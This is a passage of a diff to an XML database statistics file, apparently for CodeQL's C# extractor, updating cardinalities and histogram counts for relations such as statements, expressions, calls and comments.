+<v>113050</v> </b> <b> <a>4</a> <b>23</b> -<v>69485</v> +<v>69195</v> </b> </bs> </hist> @@ -26649,27 +26853,27 @@ <b> <a>1</a> <b>2</b> -<v>806266</v> +<v>802905</v> </b> <b> <a>2</a> <b>3</b> -<v>333362</v> +<v>331972</v> </b> <b> <a>3</a> <b>4</b> -<v>129471</v> +<v>128931</v> </b> <b> <a>4</a> <b>17</b> -<v>102980</v> +<v>102551</v> </b> <b> <a>17</a> <b>42</b> -<v>512</v> +<v>510</v> </b> </bs> </hist> @@ -26685,12 +26889,12 @@ <b> <a>1</a> <b>2</b> -<v>1303937</v> +<v>1298502</v> </b> <b> <a>2</a> <b>4</b> -<v>68655</v> +<v>68369</v> </b> </bs> </hist> @@ -26706,27 +26910,27 @@ <b> <a>1</a> <b>2</b> -<v>806266</v> +<v>802905</v> </b> <b> <a>2</a> <b>3</b> -<v>333362</v> +<v>331972</v> </b> <b> <a>3</a> <b>4</b> -<v>129471</v> +<v>128931</v> </b> <b> <a>4</a> <b>17</b> -<v>102980</v> +<v>102551</v> </b> <b> <a>17</a> <b>42</b> -<v>512</v> +<v>510</v> </b> </bs> </hist> @@ -26742,12 +26946,12 @@ <b> <a>1</a> <b>2</b> -<v>1387700</v> +<v>1381915</v> </b> <b> <a>2</a> <b>11328</b> -<v>50389</v> +<v>50179</v> </b> </bs> </hist> @@ -26763,7 +26967,7 @@ <b> <a>1</a> <b>2</b> -<v>1438090</v> +<v>1432095</v> </b> </bs> </hist> @@ -26779,12 +26983,12 @@ <b> <a>1</a> <b>2</b> -<v>1419946</v> +<v>1414027</v> </b> <b> <a>2</a> <b>3718</b> -<v>18143</v> +<v>18068</v> </b> </bs> </hist> @@ -26800,7 +27004,7 @@ <b> <a>1</a> <b>2</b> -<v>1438090</v> +<v>1432095</v> </b> </bs> </hist> @@ -26816,7 +27020,7 @@ <b> <a>1</a> <b>2</b> -<v>1438090</v> +<v>1432095</v> </b> </bs> </hist> @@ -26832,12 +27036,12 @@ <b> <a>1</a> <b>2</b> -<v>1387700</v> +<v>1381915</v> </b> <b> <a>2</a> <b>11328</b> -<v>50389</v> +<v>50179</v> </b> </bs> </hist> @@ -26847,15 +27051,15 @@ </relation> <relation> <name>param_location</name> -<cardinality>2692946</cardinality> +<cardinality>2681720</cardinality> <columnsizes> <e> <k>id</k> -<v>2419033</v> +<v>2408949</v> </e> <e> <k>loc</k> -<v>137837</v> +<v>137263</v> </e> </columnsizes> <dependencies> @@ -26869,17 +27073,17 @@ <b> <a>1</a> <b>2</b> -<v>2155336</v> +<v>2146351</v> </b> <b> <a>2</a> <b>3</b> -<v>256877</v> +<v>255806</v> </b> <b> <a>3</a> <b>60</b> -<v>6819</v> +<v>6790</v> </b> </bs> </hist> @@ -26895,12 +27099,12 @@ <b> <a>1</a> <b>2</b> -<v>133508</v> +<v>132951</v> </b> <b> <a>2</a> <b>99581</b> -<v>4329</v> +<v>4311</v> </b> </bs> </hist> @@ -26910,15 +27114,15 @@ </relation> <relation> <name>statements</name> -<cardinality>992012</cardinality> +<cardinality>984506</cardinality> <columnsizes> <e> <k>id</k> -<v>992012</v> +<v>984506</v> </e> <e> <k>kind</k> -<v>37</v> +<v>38</v> </e> </columnsizes> <dependencies> @@ -26932,7 +27136,7 @@ <b> <a>1</a> <b>2</b> -<v>992012</v> +<v>984506</v> </b> </bs> </hist> @@ -26947,82 +27151,82 @@ <bs> <b> <a>57</a> -<b>88</b> +<b>85</b> <v>2</v> </b> <b> -<a>99</a> +<a>97</a> <b>148</b> <v>2</v> </b> <b> -<a>211</a> -<b>287</b> +<a>204</a> +<b>266</b> <v>2</v> </b> <b> -<a>294</a> -<b>315</b> +<a>283</a> +<b>308</b> <v>2</v> </b> <b> -<a>332</a> -<b>601</b> +<a>312</a> +<b>593</b> <v>2</v> </b> <b> -<a>822</a> -<b>830</b> +<a>790</a> +<b>820</b> <v>2</v> </b> <b> -<a>925</a> -<b>939</b> +<a>918</a> +<b>925</b> <v>2</v> </b> <b> -<a>1364</a> -<b>1798</b> +<a>1226</a> +<b>1786</b> <v>2</v> </b> <b> -<a>2218</a> -<b>2506</b> +<a>2200</a> +<b>2468</b> <v>2</v> </b> <b> -<a>2826</a> -<b>3319</b> +<a>2752</a> +<b>3192</b> <v>2</v> </b> <b> -<a>3553</a> -<b>3734</b> +<a>3456</a> +<b>3580</b> <v>2</v> </b> <b> -<a>5723</a> -<b>8966</b> +<a>5468</a> +<b>8857</b> <v>2</v> </b> <b> -<a>18439</a> -<b>61067</b> +<a>18283</a> +<b>60466</b> <v>2</v> </b> <b> -<a>64722</a> -<b>79022</b> +<a>62424</a> +<b>75943</b> <v>2</v> </b> <b> -<a>97897</a> -<b>197966</b> +<a>94726</a> +<b>191611</b> <v>2</v> </b> <b> -<a>253483</a> -<b>253484</b> +<a>246632</a> +<b>246633</b> <v>1</v> </b> </bs> @@ -27033,19 +27237,19 @@ </relation> <relation> <name>stmt_parent</name> -<cardinality>820273</cardinality> +<cardinality>812665</cardinality> <columnsizes> <e> <k>stmt</k> -<v>820273</v> +<v>812665</v> </e> <e> <k>index</k> -<v>439</v> +<v>449</v> </e> <e> <k>parent</k> -<v>434546</v> +<v>430564</v> </e> </columnsizes> <dependencies> @@ -27059,7 +27263,7 @@ <b> <a>1</a> <b>2</b> -<v>820273</v> +<v>812665</v> </b> </bs> </hist> @@ -27075,7 +27279,7 @@ <b> <a>1</a> <b>2</b> -<v>820273</v> +<v>812665</v> </b> </bs> </hist> @@ -27091,22 +27295,22 @@ <b> <a>1</a> <b>2</b> -<v>112</v> +<v>114</v> </b> <b> <a>2</a> <b>3</b> -<v>43</v> +<v>44</v> </b> <b> <a>3</a> <b>5</b> -<v>25</v> +<v>26</v> </b> <b> <a>5</a> <b>8</b> -<v>32</v> +<v>33</v> </b> <b> <a>8</a> @@ -27116,12 +27320,12 @@ <b> <a>9</a> <b>10</b> -<v>41</v> +<v>42</v> </b> <b> <a>10</a> <b>26</b> -<v>35</v> +<v>36</v> </b> <b> <a>26</a> @@ -27130,22 +27334,22 @@ </b> <b> <a>45</a> -<b>96</b> +<b>95</b> <v>34</v> </b> <b> -<a>99</a> -<b>473</b> +<a>98</a> +<b>472</b> <v>34</v> </b> <b> -<a>511</a> -<b>81801</b> +<a>510</a> +<b>78797</b> <v>34</v> </b> <b> -<a>202913</a> -<b>240184</b> +<a>196051</a> +<b>233226</b> <v>2</v> </b> </bs> @@ -27162,22 +27366,22 @@ <b> <a>1</a> <b>2</b> -<v>112</v> +<v>114</v> </b> <b> <a>2</a> <b>3</b> -<v>43</v> +<v>44</v> </b> <b> <a>3</a> <b>5</b> -<v>25</v> +<v>26</v> </b> <b> <a>5</a> <b>8</b> -<v>32</v> +<v>33</v> </b> <b> <a>8</a> @@ -27187,12 +27391,12 @@ <b> <a>9</a> <b>10</b> -<v>41</v> +<v>42</v> </b> <b> <a>10</a> <b>26</b> -<v>35</v> +<v>36</v> </b> <b> <a>26</a> @@ -27201,22 +27405,22 @@ </b> <b> <a>45</a> -<b>96</b> +<b>95</b> <v>34</v> </b> <b> -<a>99</a> -<b>473</b> +<a>98</a> +<b>472</b> <v>34</v> </b> <b> -<a>511</a> -<b>81801</b> +<a>510</a> +<b>78797</b> <v>34</v> </b> <b> -<a>202913</a> -<b>240184</b> +<a>196051</a> +<b>233226</b> <v>2</v> </b> </bs> @@ -27233,22 +27437,22 @@ <b> <a>1</a> <b>2</b> -<v>293665</v> +<v>291527</v> </b> <b> <a>2</a> <b>3</b> -<v>75371</v> +<v>74507</v> </b> <b> <a>3</a> <b>5</b> -<v>38138</v> +<v>37519</v> </b> <b> <a>5</a> <b>361</b> -<v>27372</v> +<v>27009</v> </b> </bs> </hist> @@ -27264,22 +27468,22 @@ <b> <a>1</a> <b>2</b> -<v>293665</v> +<v>291527</v> </b> <b> <a>2</a> <b>3</b> -<v>75371</v> +<v>74507</v> </b> <b> <a>3</a> <b>5</b> -<v>38138</v> +<v>37519</v> </b> <b> <a>5</a> <b>361</b> -<v>27372</v> +<v>27009</v> </b> </bs> </hist> @@ -27289,11 +27493,11 @@ </relation> <relation> <name>stmt_parent_top_level</name> -<cardinality>171739</cardinality> +<cardinality>171840</cardinality> <columnsizes> <e> <k>stmt</k> -<v>171739</v> +<v>171840</v> </e> <e> <k>index</k> @@ -27301,7 +27505,7 @@ </e> <e> <k>parent</k> -<v>123213</v> +<v>125941</v> </e> </columnsizes> <dependencies> @@ -27315,7 +27519,7 @@ <b> <a>1</a> <b>2</b> -<v>171739</v> +<v>171840</v> </b> </bs> </hist> @@ -27331,7 +27535,7 @@ <b> <a>1</a> <b>2</b> -<v>171739</v> +<v>171840</v> </b> </bs> </hist> @@ -27345,8 +27549,8 @@ <budget>12</budget> <bs> <b> -<a>141014</a> -<b>141015</b> +<a>138041</a> +<b>138042</b> <v>1</v> </b> </bs> @@ -27379,17 +27583,17 @@ <b> <a>1</a> <b>2</b> -<v>77164</v> +<v>80692</v> </b> <b> <a>2</a> <b>3</b> -<v>43678</v> +<v>44606</v> </b> <b> <a>3</a> <b>5</b> -<v>2371</v> +<v>642</v> </b> </bs> </hist> @@ -27405,7 +27609,7 @@ <b> <a>1</a> <b>2</b> -<v>123213</v> +<v>125941</v> </b> </bs> </hist> @@ -27415,15 +27619,15 @@ </relation> <relation> <name>stmt_location</name> -<cardinality>992012</cardinality> +<cardinality>984506</cardinality> <columnsizes> <e> <k>id</k> -<v>992012</v> +<v>984506</v> </e> <e> <k>loc</k> -<v>960344</v> +<v>981617</v> </e> </columnsizes> <dependencies> @@ -27437,7 +27641,7 @@ <b> <a>1</a> <b>2</b> -<v>992012</v> +<v>984506</v> </b> </bs> </hist> @@ -27453,12 +27657,12 @@ <b> <a>1</a> <b>2</b> -<v>928675</v> +<v>978728</v> </b> <b> <a>2</a> <b>3</b> -<v>31668</v> +<v>2889</v> </b> </bs> </hist> @@ -27468,15 +27672,15 @@ </relation> <relation> <name>catch_type</name> -<cardinality>3441</cardinality> +<cardinality>3425</cardinality> <columnsizes> <e> <k>catch_id</k> -<v>3441</v> +<v>3425</v> </e> <e> <k>type_id</k> -<v>126</v> +<v>129</v> </e> <e> <k>kind</k> @@ -27494,7 +27698,7 @@ <b> <a>1</a> <b>2</b> -<v>3441</v> +<v>3425</v> </b> </bs> </hist> @@ -27510,7 +27714,7 @@ <b> <a>1</a> <b>2</b> -<v>3441</v> +<v>3425</v> </b> </bs> </hist> @@ -27526,47 +27730,47 @@ <b> <a>1</a> <b>2</b> -<v>30</v> +<v>32</v> </b> <b> <a>2</a> <b>3</b> -<v>23</v> +<v>22</v> </b> <b> <a>3</a> <b>4</b> -<v>10</v> +<v>11</v> </b> <b> <a>4</a> <b>5</b> -<v>10</v> +<v>12</v> </b> <b> <a>5</a> <b>8</b> -<v>10</v> +<v>9</v> </b> <b> <a>8</a> <b>13</b> -<v>10</v> +<v>11</v> </b> <b> <a>13</a> -<b>28</b> -<v>10</v> -</b> -<b> -<a>28</a> -<b>54</b> +<b>24</b> <v>9</v> </b> <b> -<a>97</a> -<b>733</b> -<v>8</v> +<a>27</a> +<b>47</b> +<v>9</v> +</b> +<b> +<a>48</a> +<b>702</b> +<v>9</v> </b> </bs> </hist> @@ -27582,7 +27786,7 @@ <b> <a>1</a> <b>2</b> -<v>126</v> +<v>129</v> </b> </bs> </hist> @@ -27596,13 +27800,13 @@ <budget>12</budget> <bs> <b> -<a>495</a> -<b>496</b> +<a>492</a> +<b>493</b> <v>1</v> </b> <b> -<a>2331</a> -<b>2332</b> +<a>2260</a> +<b>2261</b> <v>1</v> </b> </bs> @@ -27634,19 +27838,19 @@ </relation> <relation> <name>expressions</name> -<cardinality>4263212</cardinality> +<cardinality>4241202</cardinality> <columnsizes> <e> <k>id</k> -<v>4263212</v> +<v>4241202</v> </e> <e> <k>kind</k> -<v>405</v> +<v>403</v> </e> <e> <k>type_id</k> -<v>70456</v> +<v>70157</v> </e> </columnsizes> <dependencies> @@ -27660,7 +27864,7 @@ <b> <a>1</a> <b>2</b> -<v>4263212</v> +<v>4241202</v> </b> </bs> </hist> @@ -27676,7 +27880,7 @@ <b> <a>1</a> <b>2</b> -<v>4263212</v> +<v>4241202</v> </b> </bs> </hist> @@ -27736,12 +27940,12 @@ </b> <b> <a>3359</a> -<b>9533</b> +<b>9531</b> <v>34</v> </b> <b> <a>10013</a> -<b>21784</b> +<b>21777</b> <v>34</v> </b> <b> @@ -27751,7 +27955,7 @@ </b> <b> <a>94368</a> -<b>128776</b> +<b>127999</b> <v>14</v> </b> </bs> @@ -27768,12 +27972,12 @@ <b> <a>1</a> <b>2</b> -<v>156</v> +<v>155</v> </b> <b> <a>2</a> <b>3</b> -<v>39</v> +<v>38</v> </b> <b> <a>3</a> @@ -27806,8 +28010,8 @@ <v>34</v> </b> <b> -<a>5304</a> -<b>5305</b> +<a>5303</a> +<b>5304</b> <v>4</v> </b> </bs> @@ -27824,47 +28028,47 @@ <b> <a>1</a> <b>2</b> -<v>12862</v> +<v>12808</v> </b> <b> <a>2</a> <b>3</b> -<v>21682</v> +<v>21592</v> </b> <b> <a>3</a> <b>4</b> -<v>3343</v> +<v>3329</v> </b> <b> <a>4</a> <b>5</b> -<v>5608</v> +<v>5585</v> </b> <b> <a>5</a> <b>7</b> -<v>5623</v> +<v>5594</v> </b> <b> <a>7</a> <b>11</b> -<v>5598</v> +<v>5580</v> </b> <b> <a>11</a> <b>20</b> -<v>5554</v> +<v>5526</v> </b> <b> <a>20</a> <b>51</b> -<v>5320</v> +<v>5298</v> </b> <b> <a>51</a> -<b>139941</b> -<v>4861</v> +<b>139922</b> +<v>4841</v> </b> </bs> </hist> @@ -27880,27 +28084,27 @@ <b> <a>1</a> <b>2</b> -<v>31249</v> +<v>31119</v> </b> <b> <a>2</a> <b>3</b> -<v>24997</v> +<v>24888</v> </b> <b> <a>3</a> <b>4</b> -<v>5281</v> +<v>5259</v> </b> <b> <a>4</a> <b>6</b> -<v>5115</v> +<v>5094</v> </b> <b> <a>6</a> <b>34</b> -<v>3812</v> +<v>3796</v> </b> </bs> </hist> @@ -27910,19 +28114,19 @@ </relation> <relation> <name>expr_parent</name> -<cardinality>3941191</cardinality> +<cardinality>3919202</cardinality> <columnsizes> <e> <k>expr</k> -<v>3941191</v> +<v>3919202</v> </e> <e> <k>index</k> -<v>79825</v> +<v>81592</v> </e> <e> <k>parent</k> -<v>2587204</v> +<v>2570313</v> </e> </columnsizes> <dependencies> @@ -27936,7 +28140,7 @@ <b> <a>1</a> <b>2</b> -<v>3941191</v> +<v>3919202</v> </b> </bs> </hist> @@ -27952,7 +28156,7 @@ <b> <a>1</a> <b>2</b> -<v>3941191</v> +<v>3919202</v> </b> </bs> </hist> @@ -27968,22 +28172,22 @@ <b> <a>1</a> <b>2</b> -<v>66199</v> +<v>67665</v> </b> <b> <a>2</a> <b>6</b> -<v>6197</v> +<v>6335</v> </b> <b> <a>6</a> <b>13</b> -<v>6041</v> +<v>6175</v> </b> <b> <a>13</a> -<b>1629954</b> -<v>1385</v> +<b>1585226</b> +<v>1416</v> </b> </bs> </hist> @@ -27999,22 +28203,22 @@ <b> <a>1</a> <b>2</b> -<v>66199</v> +<v>67665</v> </b> <b> <a>2</a> <b>6</b> -<v>6197</v> +<v>6335</v> </b> <b> <a>6</a> <b>13</b> -<v>6041</v> +<v>6175</v> </b> <b> <a>13</a> -<b>1629954</b> -<v>1385</v> +<b>1585226</b> +<v>1416</v> </b> </bs> </hist> @@ -28030,17 +28234,17 @@ <b> <a>1</a> <b>2</b> -<v>1624198</v> +<v>1614187</v> </b> <b> <a>2</a> <b>3</b> -<v>833643</v> +<v>828683</v> </b> <b> <a>3</a> <b>65537</b> -<v>129362</v> +<v>127441</v> </b> </bs> </hist> @@ -28056,17 +28260,17 @@ <b> <a>1</a> <b>2</b> -<v>1624198</v> +<v>1614187</v> </b> <b> <a>2</a> <b>3</b> -<v>833643</v> +<v>828683</v> </b> <b> <a>3</a> <b>65537</b> -<v>129362</v> +<v>127441</v> </b> </bs> </hist> @@ -28076,11 +28280,11 @@ </relation> <relation> <name>expr_parent_top_level</name> -<cardinality>504910</cardinality> +<cardinality>498984</cardinality> <columnsizes> <e> <k>expr</k> -<v>504910</v> +<v>498984</v> </e> <e> <k>index</k> @@ -28088,7 +28292,7 @@ </e> <e> <k>parent</k> -<v>436567</v> +<v>430936</v> </e> </columnsizes> <dependencies> @@ -28102,7 +28306,7 @@ <b> <a>1</a> <b>2</b> -<v>504910</v> +<v>498984</v> </b> </bs> </hist> @@ -28118,7 +28322,7 @@ <b> <a>1</a> <b>2</b> -<v>504910</v> +<v>498984</v> </b> </bs> </hist> @@ -28167,13 +28371,13 @@ <v>4</v> </b> <b> -<a>8474</a> -<b>8475</b> +<a>8472</a> +<b>8473</b> <v>4</v> </b> <b> -<a>89041</a> -<b>89042</b> +<a>88257</a> +<b>88258</b> <v>4</v> </b> </bs> @@ -28223,13 +28427,13 @@ <v>4</v> </b> <b> -<a>8474</a> -<b>8475</b> +<a>8472</a> +<b>8473</b> <v>4</v> </b> <b> -<a>88977</a> -<b>88978</b> +<a>88193</a> +<b>88194</b> <v>4</v> </b> </bs> @@ -28246,17 +28450,17 @@ <b> <a>1</a> <b>2</b> -<v>396457</v> +<v>391004</v> </b> <b> <a>2</a> <b>4</b> -<v>35735</v> +<v>35577</v> </b> <b> <a>4</a> <b>9</b> -<v>4373</v> +<v>4355</v> </b> </bs> </hist> @@ -28272,17 +28476,17 @@ <b> <a>1</a> <b>2</b> -<v>396638</v> +<v>391183</v> </b> <b> <a>2</a> <b>4</b> -<v>35613</v> +<v>35455</v> </b> <b> <a>4</a> <b>9</b> -<v>4315</v> +<v>4297</v> </b> </bs> </hist> @@ -28292,44 +28496,44 @@ </relation> <relation> <name>implicitly_typed_array_creation</name> -<cardinality>10816</cardinality> +<cardinality>10813</cardinality> <columnsizes> <e> <k>id</k> -<v>10816</v> +<v>10813</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>explicitly_sized_array_creation</name> -<cardinality>4358</cardinality> +<cardinality>4269</cardinality> <columnsizes> <e> <k>id</k> -<v>4358</v> +<v>4269</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>stackalloc_array_creation</name> -<cardinality>826</cardinality> +<cardinality>834</cardinality> <columnsizes> <e> <k>id</k> -<v>826</v> +<v>834</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>implicitly_typed_object_creation</name> -<cardinality>793</cardinality> +<cardinality>769</cardinality> <columnsizes> <e> <k>id</k> -<v>793</v> +<v>769</v> </e> </columnsizes> <dependencies/> @@ -28384,22 +28588,22 @@ </relation> <relation> <name>expr_compiler_generated</name> -<cardinality>1637261</cardinality> +<cardinality>1626197</cardinality> <columnsizes> <e> <k>id</k> -<v>1637261</v> +<v>1626197</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>expr_value</name> -<cardinality>1404079</cardinality> +<cardinality>1394019</cardinality> <columnsizes> <e> <k>id</k> -<v>1404079</v> +<v>1394019</v> </e> <e> <k>value</k> @@ -28417,7 +28621,7 @@ <b> <a>1</a> <b>2</b> -<v>1404079</v> +<v>1394019</v> </b> </bs> </hist> @@ -28433,27 +28637,27 @@ <b> <a>1</a> <b>2</b> -<v>72271</v> +<v>72306</v> </b> <b> <a>2</a> <b>3</b> -<v>14976</v> +<v>14951</v> </b> <b> <a>3</a> <b>6</b> -<v>7876</v> +<v>7873</v> </b> <b> <a>6</a> -<b>2137</b> +<b>2586</b> <v>7716</v> </b> <b> -<a>2251</a> -<b>272752</b> -<v>38</v> +<a>2635</a> +<b>269984</b> +<v>31</v> </b> </bs> </hist> @@ -28463,15 +28667,15 @@ </relation> <relation> <name>expr_call</name> -<cardinality>679346</cardinality> +<cardinality>677219</cardinality> <columnsizes> <e> <k>caller_id</k> -<v>679346</v> +<v>677219</v> </e> <e> <k>target_id</k> -<v>53851</v> +<v>53767</v> </e> </columnsizes> <dependencies> @@ -28485,7 +28689,7 @@ <b> <a>1</a> <b>2</b> -<v>679346</v> +<v>677219</v> </b> </bs> </hist> @@ -28501,32 +28705,32 @@ <b> <a>1</a> <b>2</b> -<v>28347</v> +<v>28800</v> </b> <b> <a>2</a> <b>3</b> -<v>10445</v> +<v>10037</v> </b> <b> <a>3</a> <b>4</b> -<v>4326</v> +<v>4350</v> </b> <b> <a>4</a> <b>7</b> -<v>4791</v> +<v>4656</v> </b> <b> <a>7</a> <b>24</b> -<v>4085</v> +<v>4068</v> </b> <b> <a>24</a> <b>43831</b> -<v>1857</v> +<v>1856</v> </b> </bs> </hist> @@ -28536,15 +28740,15 @@ </relation> <relation> <name>expr_access</name> -<cardinality>1389511</cardinality> +<cardinality>1377653</cardinality> <columnsizes> <e> <k>accesser_id</k> -<v>1389511</v> +<v>1377653</v> </e> <e> <k>target_id</k> -<v>331466</v> +<v>338815</v> </e> </columnsizes> <dependencies> @@ -28558,7 +28762,7 @@ <b> <a>1</a> <b>2</b> -<v>1389511</v> +<v>1377653</v> </b> </bs> </hist> @@ -28574,42 +28778,37 @@ <b> <a>1</a> <b>2</b> -<v>104720</v> +<v>110292</v> </b> <b> <a>2</a> <b>3</b> -<v>70740</v> +<v>71168</v> </b> <b> <a>3</a> <b>4</b> -<v>51595</v> +<v>54695</v> </b> <b> <a>4</a> <b>5</b> -<v>33429</v> +<v>33113</v> </b> <b> <a>5</a> <b>6</b> -<v>18856</v> +<v>19857</v> </b> <b> <a>6</a> <b>9</b> -<v>27048</v> +<v>25695</v> </b> <b> <a>9</a> -<b>185</b> -<v>24863</v> -</b> -<b> -<a>185</a> -<b>8176</b> -<v>211</v> +<b>7782</b> +<v>23993</v> </b> </bs> </hist> @@ -28619,15 +28818,15 @@ </relation> <relation> <name>expr_location</name> -<cardinality>4263212</cardinality> +<cardinality>4241202</cardinality> <columnsizes> <e> <k>id</k> -<v>4263212</v> +<v>4241202</v> </e> <e> <k>loc</k> -<v>2614548</v> +<v>3004401</v> </e> </columnsizes> <dependencies> @@ -28641,7 +28840,7 @@ <b> <a>1</a> <b>2</b> -<v>4263212</v> +<v>4241202</v> </b> </bs> </hist> @@ -28657,17 +28856,17 @@ <b> <a>1</a> <b>2</b> -<v>1994761</v> +<v>2758180</v> </b> <b> <a>2</a> <b>3</b> -<v>610692</v> +<v>241569</v> </b> <b> <a>3</a> -<b>111245</b> -<v>9093</v> +<b>542807</b> +<v>4652</v> </b> </bs> </hist> @@ -28677,15 +28876,15 @@ </relation> <relation> <name>dynamic_member_name</name> -<cardinality>13657</cardinality> +<cardinality>13600</cardinality> <columnsizes> <e> <k>id</k> -<v>13657</v> +<v>13600</v> </e> <e> <k>name</k> -<v>1410</v> +<v>1404</v> </e> </columnsizes> <dependencies> @@ -28699,7 +28898,7 @@ <b> <a>1</a> <b>2</b> -<v>13657</v> +<v>13600</v> </b> </bs> </hist> @@ -28715,42 +28914,42 @@ <b> <a>1</a> <b>2</b> -<v>410</v> +<v>408</v> </b> <b> <a>2</a> <b>3</b> -<v>248</v> +<v>247</v> </b> <b> <a>3</a> <b>4</b> -<v>161</v> +<v>160</v> </b> <b> <a>4</a> <b>5</b> -<v>112</v> +<v>111</v> </b> <b> <a>5</a> <b>7</b> -<v>117</v> +<v>116</v> </b> <b> <a>7</a> <b>11</b> -<v>122</v> +<v>121</v> </b> <b> <a>11</a> <b>19</b> -<v>107</v> +<v>106</v> </b> <b> <a>20</a> <b>97</b> -<v>107</v> +<v>106</v> </b> <b> <a>122</a> @@ -28765,22 +28964,22 @@ </relation> <relation> <name>conditional_access</name> -<cardinality>3080</cardinality> +<cardinality>3067</cardinality> <columnsizes> <e> <k>id</k> -<v>3080</v> +<v>3067</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>expr_argument</name> -<cardinality>875546</cardinality> +<cardinality>873885</cardinality> <columnsizes> <e> <k>id</k> -<v>875546</v> +<v>873885</v> </e> <e> <k>mode</k> @@ -28798,7 +28997,7 @@ <b> <a>1</a> <b>2</b> -<v>875546</v> +<v>873885</v> </b> </bs> </hist> @@ -28812,23 +29011,23 @@ <budget>12</budget> <bs> <b> -<a>244</a> -<b>245</b> +<a>213</a> +<b>214</b> <v>1</v> </b> <b> -<a>4306</a> -<b>4307</b> +<a>4293</a> +<b>4294</b> <v>1</v> </b> <b> -<a>5699</a> -<b>5700</b> +<a>5671</a> +<b>5672</b> <v>1</v> </b> <b> -<a>865297</a> -<b>865298</b> +<a>863708</a> +<b>863709</b> <v>1</v> </b> </bs> @@ -28839,11 +29038,11 @@ </relation> <relation> <name>expr_argument_name</name> -<cardinality>60861</cardinality> +<cardinality>60805</cardinality> <columnsizes> <e> <k>id</k> -<v>60861</v> +<v>60805</v> </e> <e> <k>name</k> @@ -28861,7 +29060,7 @@ <b> <a>1</a> <b>2</b> -<v>60861</v> +<v>60805</v> </b> </bs> </hist> @@ -28877,17 +29076,17 @@ <b> <a>1</a> <b>2</b> -<v>894</v> +<v>895</v> </b> <b> <a>2</a> <b>3</b> -<v>487</v> +<v>486</v> </b> <b> <a>3</a> <b>4</b> -<v>275</v> +<v>281</v> </b> <b> <a>4</a> @@ -28896,28 +29095,23 @@ </b> <b> <a>5</a> -<b>7</b> -<v>197</v> +<b>8</b> +<v>251</v> </b> <b> -<a>7</a> -<b>12</b> -<v>247</v> +<a>8</a> +<b>13</b> +<v>232</v> </b> <b> -<a>12</a> -<b>22</b> +<a>13</a> +<b>28</b> <v>207</v> </b> <b> -<a>22</a> -<b>198</b> -<v>206</v> -</b> -<b> -<a>213</a> +<a>28</a> <b>11230</b> -<v>30</v> +<v>191</v> </b> </bs> </hist> @@ -33386,11 +33580,11 @@ </relation> <relation> <name>commentline</name> -<cardinality>410755</cardinality> +<cardinality>419850</cardinality> <columnsizes> <e> <k>id</k> -<v>410755</v> +<v>419850</v> </e> <e> <k>kind</k> @@ -33398,11 +33592,11 @@ </e> <e> <k>text</k> -<v>197044</v> +<v>201407</v> </e> <e> <k>rawtext</k> -<v>199656</v> +<v>204077</v> </e> </columnsizes> <dependencies> @@ -33416,7 +33610,7 @@ <b> <a>1</a> <b>2</b> -<v>410755</v> +<v>419850</v> </b> </bs> </hist> @@ -33432,7 +33626,7 @@ <b> <a>1</a> <b>2</b> -<v>410755</v> +<v>419850</v> </b> </bs> </hist> @@ -33448,7 +33642,7 @@ <b> <a>1</a> <b>2</b> -<v>410755</v> +<v>419850</v> </b> </bs> </hist> @@ -33542,17 +33736,17 @@ <b> <a>1</a> <b>2</b> -<v>161454</v> +<v>165029</v> </b> <b> <a>2</a> <b>3</b> -<v>23485</v> +<v>24005</v> </b> <b> <a>3</a> <b>24462</b> -<v>12104</v> +<v>12372</v> </b> </bs> </hist> @@ -33568,12 +33762,12 @@ <b> <a>1</a> <b>2</b> -<v>195954</v> +<v>200293</v> </b> <b> <a>2</a> <b>4</b> -<v>1090</v> +<v>1114</v> </b> </bs> </hist> @@ -33589,12 +33783,12 @@ <b> <a>1</a> <b>2</b> -<v>194967</v> +<v>199285</v> </b> <b> <a>2</a> <b>51</b> -<v>2076</v> +<v>2122</v> </b> </bs> </hist> @@ -33610,17 +33804,17 @@ <b> <a>1</a> <b>2</b> -<v>164777</v> +<v>168426</v> </b> <b> <a>2</a> <b>3</b> -<v>23019</v> +<v>23528</v> </b> <b> <a>3</a> <b>24457</b> -<v>11859</v> +<v>12122</v> </b> </bs> </hist> @@ -33636,7 +33830,7 @@ <b> <a>1</a> <b>2</b> -<v>199656</v> +<v>204077</v> </b> </bs> </hist> @@ -33652,7 +33846,7 @@ <b> <a>1</a> <b>2</b> -<v>199656</v> +<v>204077</v> </b> </bs> </hist> @@ -33662,15 +33856,15 @@ </relation> <relation> <name>commentline_location</name> -<cardinality>410755</cardinality> +<cardinality>419850</cardinality> <columnsizes> <e> <k>id</k> -<v>410755</v> +<v>419850</v> </e> <e> <k>loc</k> -<v>410755</v> +<v>419850</v> </e> </columnsizes> <dependencies> @@ -33684,7 +33878,7 @@ <b> <a>1</a> <b>2</b> -<v>410755</v> +<v>419850</v> </b> </bs> </hist> @@ -33700,7 +33894,7 @@ <b> <a>1</a> <b>2</b> -<v>410755</v> +<v>419850</v> </b> </bs> </hist> @@ -33710,26 +33904,26 @@ </relation> <relation> <name>commentblock</name> -<cardinality>144374</cardinality> +<cardinality>147571</cardinality> <columnsizes> <e> <k>id</k> -<v>144374</v> +<v>147571</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>commentblock_location</name> -<cardinality>144374</cardinality> +<cardinality>147571</cardinality> <columnsizes> <e> <k>id</k> -<v>144374</v> +<v>147571</v> </e> <e> <k>loc</k> -<v>144374</v> +<v>147571</v> </e> </columnsizes> <dependencies> @@ -33743,7 +33937,7 @@ <b> <a>1</a> <b>2</b> -<v>144374</v> +<v>147571</v> </b> </bs> </hist> @@ -33759,7 +33953,7 @@ <b> <a>1</a> <b>2</b> -<v>144374</v> +<v>147571</v> </b> </bs> </hist> @@ -33769,15 +33963,15 @@ </relation> <relation> <name>commentblock_binding</name> -<cardinality>500046</cardinality> +<cardinality>511118</cardinality> <columnsizes> <e> <k>id</k> -<v>144315</v> +<v>147511</v> </e> <e> <k>entity</k> -<v>216120</v> +<v>220905</v> </e> <e> <k>bindtype</k> @@ -33795,22 +33989,22 @@ <b> <a>1</a> <b>2</b> -<v>18063</v> +<v>18463</v> </b> <b> <a>2</a> <b>3</b> -<v>29064</v> +<v>29708</v> </b> <b> <a>3</a> <b>4</b> -<v>96896</v> +<v>99041</v> </b> <b> <a>4</a> <b>7</b> -<v>291</v> +<v>297</v> </b> </bs> </hist> @@ -33826,22 +34020,22 @@ <b> <a>1</a> <b>2</b> 